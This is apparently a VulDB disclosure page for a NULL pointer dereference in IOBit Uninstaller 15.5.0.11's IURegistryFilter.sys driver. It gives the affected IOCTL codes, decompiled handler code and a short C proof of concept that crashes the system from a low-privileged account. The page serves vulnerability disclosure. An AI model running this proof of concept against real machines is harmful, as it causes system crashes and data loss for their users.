| 제목 | IOBit IOBit Uninstaller 15.5.0.11 NULL Pointer Dereference |
|---|
| 설명 | 1. VULNERABILITY COMPONENT
Vendor Name: IOBit
Product Name: IOBit Uninstaller
Affected Version(s):x.x.x.x
Affected Component/File: IURegistryFilter.sys
Affected Routine/Function: sub_11838(IOCTL dispatch handler )
2. VULNERABILITY DETAILS
Vulnerability Type: Null Pointer Dereference
CWE ID: CWE-476
Attack Vector: Local (Requires local execution privileges to open a
handle to the device symbolic link)
Required Privileges: User (Low-privileged user/Everyone group)
3. DESCRIPTION
A vulnerability was discovered in IOBit Unsinstaller versions
15.5.0.11. The kernel-mode driver IURegistryFilter.sys does not
properly validate the input buffer pointer or size when processing
IOCTL code 0x8001E000, 0x8001E00C, 0x8001E004, 0x8001E010 via a
DeviceIoControl request.
sub_11838:
...
if ( LowPart == 0x8001E000 )
{
byte_172C0 = *(_DWORD *)&SystemBuffer->Type == 1;
goto LABEL_60;
}
...
Passing a NULL InputBuffer or an InputBufferLength of 0 causes the
driver to dereference a NULL pointer (*(_DWORD *)&SystemBuffer->Type)
within the kernel context. This unhandled page fault immediately
triggers a kernel-mode exception, resulting in a local Denial of
Service (System Crash / BSOD / Bug Check).
4. PROOF OF CONCEPT (PoC)
Example: The flaw can be reproduced by opening a handle to the device
object and sending the control code with empty parameters:
HANDLE hDevice = CreateFileW(L"\\\\.\\IURegistryFilter", GENERIC_READ,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
DWORD bytesReturned;
DeviceIoControl(hDevice, 0x8001E000, NULL, 0, NULL, 0,
&bytesReturned, NULL);
}
5. CREDIT
Discoverer/Researcher: Jacky([email protected]) |
|---|
| 사용자 | Bigcat (UID 99687) |
|---|
| 제출 | 2026. 07. 13. PM 02:16 (3 개월 ago) |
|---|
| 모더레이션 | 2026. 09. 12. AM 09:34 (2 months later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 403064 [IOBit Uninstaller 15.5.0.11 IOCTL Dispatch IURegistryFilter.sys sub_11838 서비스 거부] |
|---|
| 포인트들 | 17 |
|---|